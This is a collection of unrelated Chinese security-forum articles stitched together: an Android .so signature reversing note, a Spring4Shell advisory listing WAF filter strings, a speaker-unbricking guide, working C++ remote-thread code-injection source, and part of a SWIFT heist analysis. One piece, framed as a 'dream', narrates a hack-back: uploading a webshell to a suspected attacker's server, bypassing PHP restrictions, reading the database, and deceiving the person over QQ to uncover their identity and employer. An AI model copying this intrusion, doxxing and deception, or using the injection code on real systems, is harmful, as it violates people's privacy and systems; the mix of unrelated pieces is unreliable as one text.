Arg7.put的几个参数在封包里都是加密的,所以直接跟到generatorSig方法去, 跟进来发现载入了so文件
同时下面代码可以看见nativeGeneratorSig方法里什么东西都没有,
并且native暗示这些方法是有实现体的,所以一定是从release_sig这个so文件里实现的
0x2.1 so文件静态分析
查找函数nativeGeneratorSig
进入到该函数里再分析,就看见了之前在jeb静态分析的那个方法nativeGeneratorSig,
之前在jeb里分析看见这个方法里面没有任何算法什么的东西,而是载入的so文件,
那么在这个so文件里的这个方法里面绝对是有算法的.
跟进 GeneratorSIG, 之前在看见封包的加密值判断是个md5加密对吧,
追进来这个GeneratorSIG方法果真看见了参数经过MD5_Calculate函数处理后,然后返回
跟进MD5_Calculate, 传进的参数直接给MD5加密,经过格式化字节流然后返回了加密后的东西
0x3 动态调试
在md5加密的地方下个断点,这样能断下来未加密的明文
R0-R3寄存器是传参, R0也可以用作返回的结果,选中R0 右键 jump
取出来:
update/h5_zip01108985730222.1.02.2056.9.5MTAccountWebUIqA#QH=M+Ns&q+Z&J1561214990711Tw5AY783H@EU3#XC
然后现在我们想知道他的密文,那么根据之前静态分析, 密文返回在result中
然后根据这个在ida中找到相应位置
并且将sub_77CF4B18重命名为sprintf 方便之后下断点(当然此处下断点是不行的,因为在循环内部,调试会一直在循环里)
所以将断点打在循环外,免得一直在循环里跳, 直接F9运行到断点处
然后可以看到加密后的值出来了.
这里的值取出来 : 7d12ef85fa0c66c7a549d8cd9336f22c
加密前的明文取出来:
update/h5_zip01108985730222.1.02.2056.9.5MTAccountWebUIqA#QH=M+Ns&q+Z&J1561214990711Tw5AY783H@EU3#XC
把加密前的明文拿去md5加密一下
我们动态调试出来的加密值相同,以上就是对sig加密算法生成过程的全部分析记录 | 社区文章 |
# CVE-2022-22965 Spring 高危漏洞通告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简述
近日，Spring官方通报了Spring相关框架中存在远程代码执行漏洞，官方发布了Spring Framework
5.3.18和5.2.20的补丁修复了该漏洞，且依赖 Spring Framework 5.3.18 的 Spring Boot 2.6.6 和
2.5.12 已经发布。
该漏洞会影响在 JDK 9+ 上运行的 Spring MVC 和 Spring WebFlux 应用程序。具体的利用需要应用程序作为 WAR 部署在
Tomcat 上运行。如果应用程序被部署为 Spring Boot 可执行 jar，即默认值，则它不易受到漏洞利用。
**漏洞评级：** 严重
**CVE编号：** CVE-2022-22965
**受影响版本：** Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本
官方公布出的利用条件：
**JDK版本：** Jdk9+
**Servlet容器：** Apache Tomcat
**部署方式：** WAR部署
**依赖项：** spring-webmvc 或 spring-webflux 依赖项
**漏洞版本：** Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本
此漏洞可以通过使用一个简单的request就可以写入shell。攻击者可以利用该漏洞在服务器写入日志，写入shell后就可以实现远程代码执行。该漏洞POC很可能已经被扩散，有安全机构已经监测到该攻击行为。建议使用了Spring框架组件的客户尽快排查是否受漏洞影响，并采取措施防止漏洞攻击。
目前流传最广的POC中，payload包含以下特征：
## 漏洞排查
1\. 目前项目使用的jdk版本排查，jdk版本好<=8，暂不受漏洞影响。
2\. 检查是否使用了 sprig-beans-*.jar文件。
## 修复建议
### **官方修复建议：**
目前官方已经发布补丁，可升级至安全版本(https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15)
### **临时修复建议：**
使用waf防护的用户，根据业务实际部署情况，可以添加对”class.module.*”，”.getRuntime().”字符串添加规则过滤。在部署完毕后，要对规则测试，避免产生不必要影响。
在应用中全局搜索@InitBinder
注解，看方法体内是否调用dataBinder.setDisallowedFields方法，如果发现代码中有调用该方法，则在原来的黑名单中添加”class.module.*”。注意：如果此代码片段使用较多，需要每个地方都追加。
目前，该漏洞的poc及多种变种利用方式已经在网上传播。漏洞细节请参考官方漏洞公告。
Spring 官方漏洞公告(https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement) | 社区文章 |
# 0x01
起因于昨天晚上做了一个梦，梦见自己被抓去了罚坐，以下内容纯属做梦，师傅们当个故事会看吧。起因罚坐期间被告知需要交点东西，看着全是僵尸网络的告警，一阵头大，没有活人啊。被施加压力的第二天，终于来了一个顺眼的攻击行为。
# 0x02
攻击行为就是fastjson的利用，用来接受dns请求的域名一长串，大概规则为字母数字组合+fastjson.xxx.yuns*.org好家伙，这就是专业，对这个域名进行情报查询，果然被标记dnslog。
在子域名中看到还有admin.yuns*.org，对应的活跃ip为47.75.*.230，在去年10月也打过dnslog，交的东西感觉有戏了，太对了哥哥太对。
# 0x03
从47.*.*.230解析域名找到了一个看着顺眼的mas*.me，访问一下，是个博客，大概长这样，是个从业人员，看了下github，最新的记录是chrome0day。
然后重点关注个人信息，pay页面下有个打赏码，域名就是姓名的全拼，啊这，估计是注册得比较早把，link下面就是一堆安全网站和友链还有邮箱。
接下来就是各种常规操作，翻信息各种搜索去查，这里直接略过，最后的结果找到姓名QQ院校生日等。成了成了，报告有了，又可以混了（差点梦都醒了）。
# 0x04
本来该到这就结束的，但是，啪，又被告知最好有攻击人员的单位信息。我？？？这不是难为人吗，盯着眼前的报告无语凝噎。
# 0x05
重新回到mas*.me这个域名（其实后面发现这个博客的后台管理的密码和之前收集到的密码是一个，当时就尝试了几个弱口令无果后没），先收集着看把。发现有一个子域名img.mas*.org的，看起来是传文件用的。长下面这样，难道说。
这个站是php的，先尝试传了个txt，返回200并且有路径，访问存在。直接上哥斯拉，一传，页面直接没了，connect
reset，被拦截了，怀疑是php后缀的问题，换ip接着整了个<?php echo
1;?>，传上去，输出1，成功解析了。那估计是匹配到了文件内容，接着一顿瞎操作，换了N次ip。最后终于连上了，发现执行不了命令，目录也只有/tmp和当前web路径。
好久没遇见过php的站，看了下php版本是5.6，先用LD_PRELOAD去绕过disfunction看下，结果直接成了。这里避免手动编译改文件内容可以直接用蚁剑的插件还自动bypass'di'r。
# 0x06
一翻文件，之前博客的博客也在上面，并且还有最开始发现的admin.yuns*.org，翻配置文件连上数据库，找到20年的漏洞整理链接，这不上个21年的。还看到个qq号（和之前查到的是同一个，没用直接略过）。
又翻了一下没找到什么东西，然后把shell删了，整理一下，又又又被告知还是没有攻击者的单位信息（直接气醒了）。
# 0x07
休息了好久才重新入睡，接下来的梦才是重点。问题来了，怎么知道攻击者的单位。思路想到了QQ号，加好友直接问，接着构思一下剧本，结合之前收集到的院校信息，打算装一手面临毕业的计算机专业直系学弟（装学妹的嘤嘤怪我接受不了）求内推或者工作建议，冲了他。
# 0x08
用一个qq等级高点的小号，修改好资料，99年，18届，某某院校，计算机专业，空间搞了些在贴吧找的学校照片。写上18届的学弟想咨询就业信息，订~好友申请已发送。既然是做梦，肯定是半夜，应该是12点左右看到通过了请求，也就过了十来分钟吧。正准备发构思好的问候学长的话。好家伙，直接给我来了一大波内推。
这里暗示的提了一下自己是做开发的不是网络安全降低警惕心。
接着闲聊一会然后第一次尝试问在哪个公司，无果。
正面不行侧面问先问下工作城市
这里暗示了公众号，因为发内推的公众号可能是这个师傅的（相似的id），根据一些发的文章看出这个师傅应该和一个安全组有点关系，看见有个文库能查内部exp，流下了口水。想骗师傅一个邀请码，但是后面想着只是可能又不是单位，爱好而已，还容易暴露，就没继续问了。
又是一顿闲聊，再侧面问一下毕业干嘛了。
然后这个师傅一直勉励，说现在在学校什么都不会是正常的，还有时间，趁着现在开始学习不晚的，让我自己好好想一下毕业想干嘛考研考公还是找工作，确定目标等等。这里我突然感到了愧疚，艹。但是没办法聊了这么久了，不能忘记目的，顺着师傅发的被某公司众测邀请的截图问了下是不是这个公司的，看下会不会说自己是哪个公司。
这里直接放弃了，已经搞了个把小时了，加上内心的煎熬，放工啦，饮杯茶先。但是！！！师傅不让我溜，这也行，师傅你是不是看穿我了，在这熬鹰。行，舍命陪君子。还好师傅说话算话，聊到2点就说睡了。
最后又一问也没搞到单位，饮茶饮茶，梦醒了。
# 0x09
最后有一点瑕疵，公众号上微信和博客上的转账微信不是同一个，然后又在QQ上确认了一下，没反驳我，就这样吧，故事完结。
第一次这么费劲心力的去尝试，结果还是没找到单位信息（这不重要反正是做梦）。在闲聊过程中，也被问了一些学校或者老师的信息，都是现场搜和顺着师傅的话说（怕师傅怀疑故意问一些错误的东西以免露馅了，后面发现是自己多虑了）。
作为学弟和师傅聊天的时候还是收获挺多的，很乐于分享，对师傅感到不好意思。最后一句，以上内容纯属虚构，认真就没意思了，小心学弟~ | 社区文章 |
# 抢救变砖的某款智能音箱
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近小伙伴把某块音箱给变砖了，因为一番骚操作把mtd分区直接dd了，导致无法启动，土豪的他选择又买了一个。我缺音箱，我想试试修复一下，修好了还能用，于是就开始了自己的一番折腾。本篇文章仅作为修复音箱的教程，特此声明。
## 情况分析
现在文件系统已经被破坏了，但是内核和uboot都还完好，因此我们可以尝试看看能否进入uboot中的shell，然后做些事情。那么问题就来了，我们要怎么进入uboot的shell呢，一般情况下，芯片都会有支持串口的引脚，串口简单方便调试，我们可以拆开音箱板子上找找串口。
## 板子上找串口
串口UART，异步收发，不需要时钟，最少仅需要3根线，GND, TX,
RX。如果做得比较安全的话，一般在出厂的时候会把焊点或者引脚给抹去，但是据我所知，大部分的厂商貌似都不care这些，很大方的留了很多信息，这款音箱也是。很快在板子上找到了可爱的三个测试点在电路板的边缘
用万用表测一下可以很快确定一个点是GND，另外两个可以通过观察串口是否能够正常工作判断TX和RX。
在确定了串口引脚之后，还需要外接一个USB转串口的rs232芯片，就像这样的
连接好之后，可以在终端下输入命令`ls /dev/tty*`观察已经有串口`ttyUSB1`设备被识别
在linux下，可以通过串口工具minicom与串口进行通信。在使用minicom之前，需要配置串口名称和波特率，名称就是ttyUSB1，而波特率一般是115200.
通过执行`sudo minicom -s`进入配置串口名称和波特率的界面
除此之外，还需要修改Hardware Flow Control改为No，使得minicom允许输入。这样才能进行交互
## uboot shell
很幸运，这款音箱的uboot shell没有被裁减，因此给了我们通过uboot修复分区的可能性。在重启的时候会有一段时间允许进入uboot
shell中，这段时间一般都比较短，需要在重启的时候不断的按空格或者回车即可。界面如下图
在这个界面下是支持很多命令的，通过help查看
通过uboot给定的命令，我们就可以利用uboot给的shell实现将固件烧录到nand flash中
## 准备新固件
新的固件可以从新设备上提取，亦可以在网上下载，还可以通过抓包获取，获取的方法有很多。关键是我们要固件的格式进行分析，找到我们想要烧入到nand
flash中的部分。我拿到的固件是通过OTA升级抓包拿到的，通过binwalk 可以看到包的基本结构如下
我们所需要的正是文件系统，0x380开始到0x1F5DED0，将这块内容dd下来就是包含了完整的文件系统。
我们只需要将这部分的固件发送给音箱即可。
## nand flash烧写方法
### 确认固件烧写位置
在往nand flash中烧入固件之前，我们需要先确定nand flash是如何分区的，在启动日志中可以看到下图
可以看到有boot0 boot1 system0
system1分区，猜测有两套启动方式，一套是主要的，一套是升级或者出厂设置使用的，经过查看发现system1是空的，所以极有可能真正的文件系统是在system0分区的。
system0对应位置为`0x2000000-0x4080000`
但是起始位置是相同的，起始位置`0x2000000`很关键，这个是我们的目标位置
### 从串口接收文件系统部分的固件
* 选择一块空的内存区域，我之前选的是0x5000000,有问题，后来选择的0x6000000,这个位置是试出来的，目的是接收system0分区
* 使用kermit接收执行命令
loadb 0x6000000
进入如下界面
* 按快捷键CTRL+A S 进入发送协议选择界面
选择kermit协议，并且选择要发送的文件，按空格键选中文件。
发送文件的界面
此时可以完备的将固件发送到内存中，地址为0x6000000
由于此过程是通过串口发送，因此其速度比较慢，实测耗时1个小时
### 将内存中接收的system0写入nand flash
首先擦除system0分区，执行如下命令
nand erase.part system0
然后往system0分区中执行烧写工作，执行如下命令
nand write 0x6000000 0x2000000 0x2000000
写入过程很快，不用等待
### 完成烧写
至此已经完成文件系统的修复。经过重启，发现音箱又复活了~~
## 结语
本文介绍了在仅有串口的情况下如何利用uboot的shell完成对Nand
flash的固件写入流程，虽然可能不同的设备细节上不尽相同，但是基本流程本文已经介绍的较为清晰，当然除了串口还有别的方式实现救砖的工作，比如USB启动或者JTAG等方式，这些方式速度较快，但是对硬件电路的逆向水平也更高，所以我最爱的还是串口。 | 社区文章 |
# 概述：
上一篇文章文章学习了通过CreateRemoteThread创建远程线程后在目标进程中通过LoadLibrary加载我们自己的DLL来将DLL注入目标进程。在学习的过程中了解到还有一种通过CreateRemoteThread创建远程线程来注入的操作：代码注入。
不同于DLL注入，代码注入的体积量更小也更加隐蔽，注入的代码隐藏在进程的内存中，不容易被发现，而DLL注入后很容易就会被发现注入的痕迹（比如前面的文章中完成注入操作后使用ProcessExplorer查看进程加载DLL）
下面通过一个例子来实际操作完成一次代码注入。
# CodeInjection.cpp：
首先给出总的源代码：
#include"windows.h"
#include"tchar.h"
#include"stdio.h"
#include"psapi.h"
#include"stdlib.h"
#define ProcessName1 L"notepad.exe"
#define ProcessName2 L"Notepad.exe"
#define THREAD_SIZE 0x4000
#define LENGTH 30
HANDLE hProcess = NULL;
typedef struct _PARAMENT {
FARPROC pLoadLibrary;
FARPROC pGetProcessAddress;
char DllName1[LENGTH];
char FuncName[LENGTH];
char Content[LENGTH];
char title[LENGTH];
}RemoteParament, *pRemoteParament;
BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("提权失败\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("提权失败\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("提权失败\n");
CloseHandle(hToken);
}
else
{
printf("提权成功！\n");
return TRUE;
}
}
DWORD WINAPI ThreadProc(LPVOID ThreadPara) //线程注入函数
{
pRemoteParament para = (pRemoteParament)ThreadPara;
HMODULE(WINAPI * fpLoadLibrary)(LPCSTR);
FARPROC(WINAPI * fpGetProcAddress)(HMODULE, LPCSTR);
int(WINAPI * fpMessageBox) (HWND, LPCSTR, LPCSTR, UINT);
fpLoadLibrary = (HMODULE(WINAPI *)(LPCSTR))para->pLoadLibrary;
fpGetProcAddress = (FARPROC(WINAPI*)(HMODULE, LPCSTR))para->pGetProcessAddress;
HMODULE hMod = fpLoadLibrary(para->DllName1);
fpMessageBox = (int(WINAPI*)(HWND, LPCSTR, LPCSTR, UINT))fpGetProcAddress(hMod, para->FuncName);
fpMessageBox(NULL, para->Content, para->title, MB_OK);
return 0;
}
BOOL Inject(DWORD dwPID)
{
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("open process failed!\n");
return FALSE;
}
RemoteParament para = { 0 };
HMODULE hMod = LoadLibrary(L"kernel32.dll");
para.pLoadLibrary = (FARPROC)GetProcAddress(hMod, "LoadLibraryA");
para.pGetProcessAddress = (FARPROC)GetProcAddress(hMod, "GetProcAddress");
strcpy_s(para.DllName1, "user32.dll");
strcpy_s(para.FuncName, "MessageBoxA");
strcpy_s(para.Content, "code inject!");
strcpy_s(para.title, "inject");
LPVOID vPara = VirtualAllocEx(hProcess, NULL, sizeof(para), MEM_COMMIT, PAGE_READWRITE);
if (vPara == NULL)
{
printf("para's virtual memory alloc failed!\n");
return -1;
}
if (!WriteProcessMemory(hProcess, vPara, (LPVOID)¶, sizeof(para), NULL))
{
//DWORD dwerror = GetLastError();
printf("para's virtual memory write failed!\n");
return -1;
}
DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;
/*LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);*/
LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, THREAD_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pRemoteThreadProc == NULL)
{
printf("threadproc's virtual memory alloc failed!\n");
return -1;
}
/*if (!WriteProcessMemory(hProcess, pRemoteThreadProc, (LPVOID)&ThreadProc, dwSize, NULL))*/
if (!WriteProcessMemory(hProcess, pRemoteThreadProc, (LPVOID)&ThreadProc, THREAD_SIZE, NULL))
{
printf("threadproc's virtual memory write failed!\n");
return -1;
}
HANDLE hThread = NULL;
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThreadProc, vPara, 0, NULL);
if (hThread) {
printf("non dll inject success.\n");
}
else {
printf("inject failed！\n");
return FALSE;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int _tmain(int argc,_TCHAR *argv[])
{
DWORD dwError = 0;
DWORD dwPID = (DWORD)_tstol(argv[1]);
EnableDebugPriv();
Inject(dwPID);
return 0;
}
程序主要流程大致如下：
1. 将注入代码的所需要的参数集成为一个结构体
2. 设置提权函数进行权限提升
3. 进行注入操作的主要代码（包括注入代码所需参数常量等的写入、线程操作函数的写入及远程线程的创建）
4. 主函数调用各个函数完成注入操作
## struct _PARAMENT：
这个部分是后面注入的代码需要用到的参数。这个部分也是DLL注入与代码注入一个比较不同的地方，DLL注入中，进行注入操作的主程序进行的分配操作是为LoadLibrary这个API的参数：DLL文件路径分配内存空间，而
**DLL中进行的各个函数操作所需要的参数是不需要单独为其分配内存，因为DLL的代码与数据在内存的角度上是与目标进程共享的；而代码注入后为了使被注入的代码能够正常运行，就需要将其对应所需的参数数据等写入目标进程的内存空间。**
这次注入操作是为了完成在目标进程中使其出现一个弹窗，需要用到user32.dll这个库中MessageBoxA这个API函数，所以可以大概理出这次代码注入操作所需要的参数：
1. LoadLibrary及GetProcessAddress这两个函数的地址（这两个函数是注入操作中基本都会使用到的函数）
2. user32.dll这个库的名称字符串以及MessageBoxA这个函数的名称字符串（注入的代码中要将user32.dll这个库加载入目标进程）
3. MessageBoxA这个函数所需要参数（也就是弹出窗口的内容以及窗口的标题）
这一部分的代码及注释为：
typedef struct _PARAMENT {
//下面的FARPROC为指向在后面需要调用的一些函数的内存地址
FARPROC pLoadLibrary; //用于存储pLoadLibrary的函数地址
FARPROC pGetProcessAddress; //用存储GetProcessAddress的函数地址
char DllName1[LENGTH]; //后面可能要通过使用GetModuleHandle和DLL名字获取模块地址，也就是存储user32.dll这个模块名称
char FuncName[LENGTH]; //存储需要查找的MessageBox的函数名称
char Content[LENGTH]; //注入代码后调用MessageBox输出的内容
char title[LENGTH]; //输出的标题
}RemoteParament, *pRemoteParament;
再提一下这个数据结构：FARPROC
这是一个4字节长的指针类类型，它在minwindef.h中被解释为一个FAR WINAPI类型的函数指针，如下：
typedef INT_PTR (FAR WINAPI *FARPROC)();
当获取到LoadLibrary及GetProcessAddress这两个函数的实际地址时，由于都是WINAPI函数，所以要将其解释为这样一个FARPROC类型的指针。
## EnableDebugPriv：
这个部分为提权函数，其中具体的数据类型解释以及操作流程可以看一下我的上一篇文章，这里只给出大概的函数流程：
1. 获取当前与当前进程相关联的用户的访问令牌
2. 查找所需要修改权限的LUID
3. 对应访问令牌中的特权属性进行修改
4. 调整特权
这一部分的代码即注释如下：
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken; //指向后面打开访问令牌的句柄
LUID Luid; //接受后面查找的局部唯一标识符
TOKEN_PRIVILEGES tkp; //后面修改访问令牌时用到的结构体
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) //打开当前进程的访问令牌
{
printf("提权失败。");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) //查找需要修改的权限对应的LUID值
{
CloseHandle(hToken);
printf("提权失败。");
return FALSE;
}
//下面为访问令牌的中特权属性的修改操作
tkp.PrivilegeCount = 1; //设置要修改的权限数量，这里只需要修改一项权限，即为1
tkp.Privileges[0].Luid = Luid; //设置Privileges数组中LUID的值为前面查找到的对应权限的LUID值
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置该权限对应的执行状态更改为可行状态
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL)) //修改访问令牌的对应权限
{
printf("提权失败。");
CloseHandle(hToken);
}
else
{
printf("提权成功！");
return TRUE;
}
}
## ThreadProc
这个函数就是后面远程线程创建后需要注入目标进程执行的代码了，它的函数流程大致如下：
1. 将线程函数的参数强制转化为前面定义的RemoteParament类型
2. 对需要使用到的API函数进行函数指针的重新声明
3. 对前面声明的函数指针进行赋值，也就是将其指向传入参数中每个函数所自带的真实地址
4. 调用MessageBoxA进行弹窗操作
首先要注意的一点是对所需要使用到的API函数指针进行声明，这一步操作的目的是为了在目标进程中能够正常的调用这些API函数，上一篇文章中其实有所提及：在大多数进程中，kernel32.dll这个库以及其中函数的位置是基本保持不变的，我们可以直接在本程序中查找到所需要使用的API函数的真实地址（即本次注入需要使用到的LoadLibrary以及GetProcAddress），而我们目的是要调用MessageBoxA这个user32.dll中的API，所以在注入代码中就需要进行如下操作：
1. LoadLibrary加载user32.dll
2. GetProcAddress查找MessageBoxA函数的地址（ **注意此时装载user32.dll的操作就是在目标进程中进行了，所以其函数地址可以是在目标进程中使用** ）
而我们查找到的LoadLibrary、GetProcAddress及MessageBoxA的地址被作为参数传入线程函数后只是一串单纯的数值而已，所以我们需要将其对应函数功能进行声明，例如GetProcAddress函数的声明：
FARPROC(WINAPI * fpGetProcAddress)(HMODULE, LPCSTR);
这个声明的各个部分意义如下：
* FARPROC：函数的返回值
* WINAPI *：函数的类型，也就是一个WINAPI类型的函数
* (HMODULE, LPCSTR)：函数的参数列表
这一部分的代码即注释如下：
DWORD WINAPI ThreadProc(LPVOID ThreadPara) //线程注入函数
{
pRemoteParament para = (pRemoteParament)ThreadPara;
//由于user32.dll在每个进程中的内存地址是不一样的，所以需要将后面要是用到的user32.dll中的API函数的地址替换为被注入进程中的地址
//下面为函数指针声明
HMODULE(WINAPI * fpLoadLibrary)(LPCSTR);
FARPROC(WINAPI * fpGetProcAddress)(HMODULE, LPCSTR); //FARPROC为一个4字节指针，一般用于指向一个函数的内存地址
int(WINAPI * fpMessageBox) (HWND, LPCSTR, LPCSTR, UINT);
//给前面声明的函数指针赋值，使其指向对应函数的真实地址，要注意赋值前要对para中数据的类型进行强转
fpLoadLibrary = (HMODULE(WINAPI *)(LPCSTR))para->pLoadLibrary;
fpGetProcAddress = (FARPROC(WINAPI*)(HMODULE, LPCSTR))para->pGetProcessAddress;
HMODULE hMod = fpLoadLibrary(para->DllName1); //在目标进程中加载user32.dll
fpMessageBox = (int(WINAPI*)(HWND, LPCSTR, LPCSTR, UINT))fpGetProcAddress(hMod, para->FuncName); //查找到MessageBoxA函数的地址
fpMessageBox(NULL, para->Content, para->title, MB_OK); //执行MessageBoxA函数
return 0;
}
## Inject
这个函数即执行注入操作的函数，它的函数流程大概如下：
1. 打开目标进程的进程句柄
2. 创建参数结构体，并对其各个成员进行赋值
3. 分别为参数结构体以及线程操作函数分配虚拟空间并在内存中写入数据
4. 创建远程线程将代码注入目标进程
函数的逻辑比较简单，与前面的DLL注入流程差不多，比较重要的地方就是关于内存申请这个问题。
相较于DLL注入，代码注入有两次内存申请以及对应的数据写入，分别为：
* 参数结构体内存空间的分配与写入
* ThreadProc线程函数内存空间的分配与写入
为什么会有两次分配与写入的原因前面部分中有提到过， **简单来说就是要将注入代码所需要的数据与可执行的代码一同放入目标进程的内存空间中。**
这里主要要细说的是关于ThreadProc函数所需的内存空间大小问题。我在为ThreadProc分配内存时，第一次是直接给出了一个固定大小，也就是程序中宏定义的THREAD_SIZE，其大小为0x4000，这个大小分配对于很多有保护机制的程序来说是很异常的，虽然本次我们目标进程为notepad，基本没有保护措施；但是这个问题很值得思考，在为ThreadProc函数分配内存空间时应该怎么操作？
后来根据网上师傅的文章找到了一个解决办法：
DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;
LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
这里的大小计算是通过将两个函数的起始地址相减得到的（在这个程序中Inject，ThreadProc这两个函数相邻，将其地址强转为DWORD后相减即可的得到ThreadProc的实际大小）
这个办法在使用时要注意编译器编译模式的选择：
**一定要使用Release方式编译程序，因为在Debug下编译的程序中，函数结构没有进行优化且程序中存在调试信息，这样直接相减的话就会出错**
这一部分的代码及注释如下：
BOOL Inject(DWORD dwPID)
{
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) //打开被注入线程的进程句柄
{
printf("open process failed!\n");
return FALSE;
}
RemoteParament para = { 0 };
HMODULE hMod = LoadLibrary(L"kernel32.dll"); //kernel32.dll在每个进程中的位置是一样的，所以可以直接使用里面的函数地址
//下面为结构体中的函数地址参数赋值
para.pLoadLibrary = (FARPROC)GetProcAddress(hMod, "LoadLibraryA"); //查找LoadLibraryA函数的地址，传入para注意类型转换
para.pGetProcessAddress = (FARPROC)GetProcAddress(hMod, "GetProcAddress");
strcpy_s(para.DllName1, "user32.dll");
strcpy_s(para.FuncName, "MessageBoxA");
strcpy_s(para.Content, "code inject!");
strcpy_s(para.title, "inject");
//为注入线程的参数等分配进程空间
//下面为para分配进程的虚拟空间，注入代码的函数参数依托于我们写入的数据
LPVOID vPara = VirtualAllocEx(hProcess, NULL, sizeof(para), MEM_COMMIT, PAGE_READWRITE);
if (vPara == NULL)
{
printf("para's virtual memory alloc failed!\n");
return -1;
}
//将para数据写入目标进程
if (!WriteProcessMemory(hProcess, vPara, (LPVOID)¶, sizeof(para), NULL))
{
//DWORD dwerror = GetLastError();
printf("para's virtual memory write failed!\n");
return -1;
}
//下面将线程操作函数写入目标进程
DWORD dwSize = (DWORD)Inject - (DWORD)ThreadProc;
//下面这种定义dwSize的方式是通过函数的起始地址相减得到区段大小，也是为什么要使用release版本的原因，因为debug版本的程序在内存中会有调试信息存在
//可能会对相减出来的结果造成影响
/*LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);*/
LPVOID pRemoteThreadProc = VirtualAllocEx(hProcess, NULL, THREAD_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//注意这里分配虚拟内存的时候由于是给后面要执行的线程函数分配内存，所以在属性的选择上要有EXECUTE（可执行）的属性
if (pRemoteThreadProc == NULL)
{
printf("threadproc's virtual memory alloc failed!\n");
return -1;
}
/*if (!WriteProcessMemory(hProcess, pRemoteThreadProc, (LPVOID)&ThreadProc, dwSize, NULL))*/
if (!WriteProcessMemory(hProcess, pRemoteThreadProc, (LPVOID)&ThreadProc, THREAD_SIZE, NULL))
{
printf("threadproc's virtual memory write failed!\n");
return -1;
}
HANDLE hThread = NULL;
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThreadProc, vPara, 0, NULL); //创建远程线程，在目标进程中注入代码
if (hThread) {
printf("non dll inject success.\n");
}
else {
printf("inject failed！\n");
return FALSE;
}
WaitForSingleObject(hThread, INFINITE); //等待远程线程执行
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
# 调试运行：
首先来运行一下这个程序，这里是在Win10环境下运行的，
**注意如果要在64位环境下运行的话，程序在编译时就要选择64位的编译生成，不然可能会造成目标进程崩溃。**
首先打开记事本（notepad），然后找到其PID：
然后在命令行运行注入程序：
运行后：
之后我们在x64dbg中运行notepad后，并设置在新线程开启时中断程序(因为这里我采用的编译生成的是64位程序，使用OD可能会出现调试失败的情况)：
然后运行注入程序，就会在线程处中断，此处即为我们注入的代码：
步进执行程序就会跳转到对应的API函数处执行：
# 参考资料：
<https://bbs.pediy.com/thread-267065.htm#msg_header_h2_1> | 社区文章 |
# 关于近期曝光的针对银行SWIFT系统攻击事件综合分析
|
##### 译文声明
本文是翻译文章，文章来源：360追日团队
译文仅供参考，具体内容表达以及含义原文为准。
**一、概述**
2016年2月孟加拉国央行被黑客攻击导致8100万美元被窃取的事件被曝光后，如越南先锋银行、厄瓜多尔银行等，针对银行SWIFT系统的其他网络攻击事件逐一被公开。在相关事件曝光后，我们立即对相关攻击事件的展示溯源分析，就越南先锋银行相关攻击样本，我们形成了技术报告：《[SWIFT之殇——针对越南先锋银行的黑客攻击技术初探](http://bobao.360.cn/learning/detail/2890.html)》。
在分析孟加拉国央行和越南先锋银行攻击事件期间，我们发现近期曝光的这4起针对银行的攻击事件并非孤立的，而很有可能是由一个组织或多个组织协同发动的不同攻击行动。另外通过对恶意代码同源性分析，我们可以确定本次针对孟加拉国央行和越南先锋银行的相关恶意代码与Lazarus组织（APT-C-26）有关联，但我们不确定幕后的攻击组织是Lazarus组织（APT-C-26）。
另外攻击组织对目标银行作业流程极为熟悉，也就并非短期内所能达到的，我们推测在侦查跟踪环节，攻击者应该针对目标进行了长时间且非常专注的持续性分析。
在对相关攻击事件的分析和剖析过程中，也暴露出诸多银行等金融行业本身的安全问题。如这一系列攻击事件要想达到金钱窃取，前提就需要获得银行本身SWIFT操作权限，而要获得相关权限则首先需要将银行自身网络攻陷。
